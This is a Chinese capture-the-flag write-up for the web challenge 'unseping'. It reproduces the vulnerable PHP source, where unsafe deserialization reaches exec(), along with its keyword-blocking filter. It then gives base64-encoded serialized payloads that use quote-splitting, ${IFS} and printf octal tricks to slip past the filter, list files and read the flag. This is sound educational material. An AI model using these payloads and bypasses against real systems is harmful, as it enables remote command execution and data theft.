113,【5】 功防世界 web unseping

进入靶场

代码审计

php 复制代码
<?php
// 高亮显示当前 PHP 文件的源代码,方便开发者查看代码结构和内容
highlight_file(__FILE__);

// 定义一个名为 ease 的类
class ease {
    // 私有属性 $method,用于存储要调用的方法名
    private $method;
    // 私有属性 $args,用于存储调用方法时传递的参数
    private $args;

    // 构造函数,在创建类的对象时自动调用
    // 接收两个参数:$method 表示要调用的方法名,$args 表示调用方法时传递的参数数组
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    // 析构函数,当对象被销毁时自动调用
    function __destruct() {
        // 检查 $this->method 是否在数组 ["ping"] 中
        // 如果存在,则调用 call_user_func_array 函数来动态调用对象的指定方法,并传递相应的参数
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    // 定义一个名为 ping 的方法,用于执行系统命令
    // 接收一个参数 $ip,通常是一个 IP 地址
    function ping($ip) {
        // 使用 exec 函数执行 $ip 对应的系统命令,并将执行结果存储在 $result 数组中
        exec($ip, $result);
        // 使用 var_dump 函数输出 $result 数组的详细信息
        var_dump($result);
    }

    // 定义一个名为 waf 的方法,用于进行简单的 Web 应用防火墙(WAF)过滤
    // 接收一个参数 $str,表示要过滤的字符串
    function waf($str) {
        // 使用 preg_match_all 函数进行正则表达式匹配
        // 正则表达式 "/(\||&|;| |\/|cat|flag|tac|php|ls)/" 用于匹配一些危险字符和关键字
        // 如果没有匹配到任何内容,则返回原始字符串
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            // 如果匹配到了危险字符或关键字,则输出 "don't hack" 提示信息
            echo "don't hack";
        }
    }

    // __wakeup 魔术方法,在对象被反序列化时自动调用
    function __wakeup() {
        // 遍历 $this->args 数组,对每个元素应用 waf 方法进行过滤
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }
}

// 从 POST 请求中获取名为 'ctf' 的参数值,并赋值给 $ctf 变量
// @ 符号用于抑制可能出现的错误信息
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 Base64 解码,然后进行反序列化操作
// @ 符号同样用于抑制可能出现的错误信息
@unserialize(base64_decode($ctf));
?>

需要通过 POST 请求传递一个经过 Base64 编码的序列化对象给参数ctf

1,

php 复制代码
<?php

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
?>

别问为什么不直接在php代码里转换为base64,我的php运行工具不太行

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:2:"ls";}}

复制代码

Tzo0OiJlYXNlIjoyOntzOjEyOiJlYXNlbWV0aG9kIjtzOjQ6InBpbmciO3M6MTA6ImVhc2VhcmdzIjthOjE6e2k6MDtzOjI6ImxzIjt9fQ==

2,

得知了有个flag_1s_here文件,查看一下

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

3,

查看flag_831b69012c67b35f.php

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

cyberpeace{a54274ce8db23eaf3f848c4099bc22eb}

相关推荐
Hrain-AI14 小时前
2026 编码智能体三强对比:Trae/Qoder CN/CodeBuddy 安全护栏
人工智能·安全
cjy_115 小时前
2026人工智能产业发展深度剖析:落地化、垂直细分、安全合规成行业核心赛道
人工智能·安全
数据知道15 小时前
反序列化漏洞:Java、PHP、Python 三条线各讲透
java·网络·python·安全·网络安全·php
宏集科技-鲁工15 小时前
挣脱线缆束缚:宏集EXOR X5 Wireless无线手持HMI如何让光伏工地AGV操控更安全高效
安全
听你说3215 小时前
推进具身智能安全评测:丈八科技与季华实验室达成战略合作
人工智能·科技·安全
盗理者18 小时前
AI Agent 技能分享|从零实现一个 MCP Server,让 AI Agent 安全调用内部系统
网络·人工智能·安全·agent
leagsoft_100319 小时前
浙江某机器人创新企业:一体化终端、数据与身份安全实践
安全·机器人
摸鱼停不住先生19 小时前
不安全反序列化利用篇(三):从对象字段到危险方法调用
java·服务器·网络·安全
能年玲奈喝榴莲牛奶19 小时前
资产和漏洞管理系统(AI)
人工智能·安全·web安全
国际云,接待21 小时前
云服务器 SSH 被扫爆了怎么办:安全组、密钥登录与 Fail2ban 的完整加固清单
服务器·安全·ssh